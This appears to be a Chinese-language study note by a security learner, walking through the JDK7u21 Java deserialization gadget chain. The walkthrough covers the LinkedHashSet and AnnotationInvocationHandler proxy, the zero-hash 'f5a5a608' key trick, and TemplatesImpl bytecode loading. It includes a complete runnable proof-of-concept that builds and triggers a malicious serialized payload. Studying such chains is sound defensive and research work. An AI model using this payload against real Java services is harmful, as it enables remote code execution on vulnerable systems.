前言
这个分析了很久很久,发现自己java学得太傻逼了,语法没学好,nm代码审计也只能靠别人的审计,前面分析太浮躁了,所以还是说一句师傅的话,快就是慢
环境搭建
这个链子仅仅需要原生类,只需要jdk版本jdk7u21
分析
下面是大概的调用过程
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
后面的TemplatesImpl部分已经分析过了,我们直接从前面部分分析
这个链子的关键方法就是AnnotationInvocationHandler.equalsImpl()方法,我们看到它的代码
发现首先获取方法遍历,然后进行调用,我们跟进getmethod方法
获取type的所有方法并且返回
如果我们type可以控制,那么利用我们的出口类比如TemplatesImpl就可以造成漏洞
这里的type是通过构造函数传进的一个Annotation的子类
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
我们找找谁调用了equalsImpl
发现在AnnotationInvocationHandler.invoke方法调用了方法
似曾相识吧,和cc1的lazymap链相近,我们肯定需要用到动态代理了,因为AnnotationInvocationHandler是实现了InvocationHandler和Serializable接口
在使用 java.reflect.Proxy 动态绑定一个接口时,如果调用到了接口中的任意一个方法,他就会去调用InvocationHandler.invoke ()。
我们看下如何才能调用invoke
传入的方法名为equal方法
方法的参数个数为1
方法的参数类型为Object类型
去哪里找equal方法,以前提到过hashset里面很多
看一下HashSet的readObject()方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
跟进put方法
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
发现调用了key的equals方法,还是那个前提,需要hash碰撞
我们这里的话传入的key是个Templates类型的代理,当执行Templates类的方法时会执行代理的invoke方法
我们需要TemplatesImpl作为被代理的类,AnnotationInvocationHandler作为代理类,TemplatesImpl的任意方法被执行,都会执行AnnotationInvocationHandler.invoke方法
但是在构造方法中,我们的type只能传入Annotation的子类怎么解决
因为我们通过反射来实例化AnnotationInvocationHandler类对象,会扩大其可传入参的范围。
还有就是在AnnotationInvocationHandler#readObject()中,对type的检查只是捕获异常然后返回,而不是抛出异常,这并不影响反序列化的执行过程:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
...
}
所以我们的大概逻辑就完成了 LinkedHashSet.readObject()--LinkedHashSet.add方法填入两个-- Proxy(Templates).equals()--AnnotationInvocationHandler.invoke()-- Method.invoke()--TemplatesImpl的getOutputProperties()方法--。。。。。
poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21_payload {
public static void main(String[] args) throws Exception {
//获取字节码
byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
TemplatesImpl templates = new TemplatesImpl();
//通过反射对私有变量进行赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "123123");
String hashStr = "f5a5a608";
HashMap map = new HashMap();
map.put(hashStr, "temp");
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//设置Accessible为true
ctor.setAccessible(true);
//通过newInstance()方法实例化对象,并赋值给接口
InvocationHandler Handler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[]{Templates.class}, Handler);
LinkedHashSet hashSet = new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);
map.put(hashStr, templates);
serialize(hashSet);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
但是还是有一些问题
上面对于type的问题已经解释了
为什么传入两个对象是proxy类和templates(恶意类)而且需要用LinkedHashSet
这个就要从我们的目的说起,我们最后执行关键代码的地方是
equalsimpl这里,传入的对象是o,o必须是我们的恶意类,我们也说了是AnnotationInvocationHandler.invoke方法调用了它,它传入的是args[0],我们希望的局面就是proxy.equals(templates) 而回到我们的顺序那里,它最后比较调用的是后传入的equal方法,首先是获取添加的key值,并计算其hash值,然后循环获取已存在数组的值e,通过e.hash获取已存在值的hash,通过e.key将存在的key值赋值为k。所以我们需要的是有顺序的,不能是普通的map
hashcode是怎么比较的
我们继续看,因为我们已经add了,首先是代理类的hashcode是怎么计算的
proxy.hashCode()会执行AnnotationInvocationHandler.invoke方法,从而匹配hashCode方法名,从而执行hashCodeImpl()方法。
遍历memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。
肯定是越简单越好,我们肯定只传入一对值,就不会继续求和,本来只有一对了,之后的赋值就和下面的分析有关
我们看到这个方法TemplatesImpl的hashcode
是一个Native方法,每次都会变化的,控制不住一点,所以相等又何去何从
聪明的作者想到了这一点
因为异或有一个特性,任何数异或0就是本身,我在proxy异或的时候我控制一个为0,而value在异或的时候是我们把value传入为TemplateImpl
所以我们控制key的hashcode为0就好了,网上的是字符串f5a5a608,懒得管怎么来的了
然后value就是我们的templates
为什么先设置membervalue的时候不直接传恶意类,而是后面重新覆盖
其实在cc6的时候就已经分析过了,add方法的本质还是调用的hashmap的put方法,所以一样的道理
为什么InvocationHandler handler = (InvocationHandler)cons.newInstance(Templates.class, memberValues);传入的是Templates.class而不是TemplatesImpl.class
首先他们的区别就是方法,Templates.class就两个方法newTransformer(),getOutputProperties()无论哪个都会动态加载字节码
TemplatesImpl.class方法很多,怎么知道会不会调用上面的两个方法,bfengj调试发现第一次调用的是init方法